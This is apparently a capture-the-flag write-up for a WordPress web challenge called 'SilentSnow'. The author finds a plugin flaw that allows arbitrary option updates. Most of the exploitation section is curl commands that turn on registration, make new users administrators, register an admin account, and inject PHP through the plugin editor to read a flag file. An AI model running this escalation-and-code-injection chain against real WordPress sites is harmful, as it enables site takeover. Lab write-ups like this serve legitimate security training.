SilentSnow - Web CTF Challenge Writeup#

Challenge Information#

• Challenge Name: SilentSnow
• Category: Web
• Difficulty: Medium
• Instance: http://154.57.164.64:30101/
• Flag Format: HTB{...}

Challenge Description#

The Snow-Post Owl Society website has been corrupted by malicious code, preventing the midnight delivery of festival updates. The goal is to hack the official website and bypass the corrupted code to trigger a mass resend of the latest article.

The challenge provides a WordPress-based application with:

• Custom theme: my-theme
• Custom plugin: my-plugin
• Docker environment with flag at /flag.txt

Vulnerability Discovery#

Location: /src/plugins/my-plugin/my-plugin.php:110

The code uses $_POST['my_plugin_action'] directly as the WordPress option name in update_option() without any validation or sanitization. This allows an attacker to modify ANY WordPress option.

I found also:

Exploitation#

1
curl -s "http://154.57.164.79:30430/wp-admin/admin-ajax.php?settings"

1
curl -s "http://154.57.164.79:30430/wp-admin/admin-ajax.php?settings" -X POST \
2
  -d "my_plugin_nonce=0719ac6bf4" \
3
  -d "_wp_http_referer=/wp-admin/admin-ajax.php?settings" \
4
  -d "my_plugin_action=users_can_register" \
5
  -d "mode=1"

1
curl -s "http://154.57.164.79:30430/wp-admin/admin-ajax.php?settings" -X POST \
2
  -d "my_plugin_nonce=0719ac6bf4" \
3
  -d "_wp_http_referer=/wp-admin/admin-ajax.php?settings" \
4
  -d "my_plugin_action=default_role" \
5
  -d "mode=administrator"

1
curl "http://154.57.164.79:30430/wp-login.php?action=register" \
2
  -c /tmp/cookies.txt \
3
  -X POST \
4
  -d "user_login=Daryx123" \
5
  -d "user_email=Daryx@test.com" \
6
  -L -i

1
curl -b /tmp/cookies.txt "http://154.57.164.79:30430/wp-admin/"

1
curl -b /tmp/cookies.txt "http://154.57.164.79:30430/wp-admin/plugin-editor.php" -X POST \
2
  -d "nonce=5602f77aca" \
3
  -d "action=update" \
4
  -d "file=my-plugin/my-plugin.php" \
5
  -d "plugin=my-plugin/my-plugin.php" \
6
  --data-urlencode "newcontent@modified_plugin.php"

1
<?php
2
if (isset($_GET['getflag'])) {
3
    echo file_get_contents('/flag.txt');
4
    exit;
5
}
6
// ... rest of plugin code

1
curl -s "http://154.57.164.79:30430/?getflag"

Flag#

1
HTB{s1l3nt_snow_b3y0nd_tinselwick_t0wn_2c13b6e5a6060cdf72ba12e1b7dfed0d}

Summary#

This challenge demonstrated a critical vulnerability in a custom WordPress plugin that allowed arbitrary option updates. The attack chain was:

1. Access settings page via is_admin() bypass
2. Enable user registration by modifying users_can_register option
3. Set default role to admin by modifying default_role option
4. Register new admin account
5. Edit plugin code to add flag reader
6. Read the flag

Author: Daryx Date: 2025-12-19 Challenge: UniverCTF 2025 - SilentSnow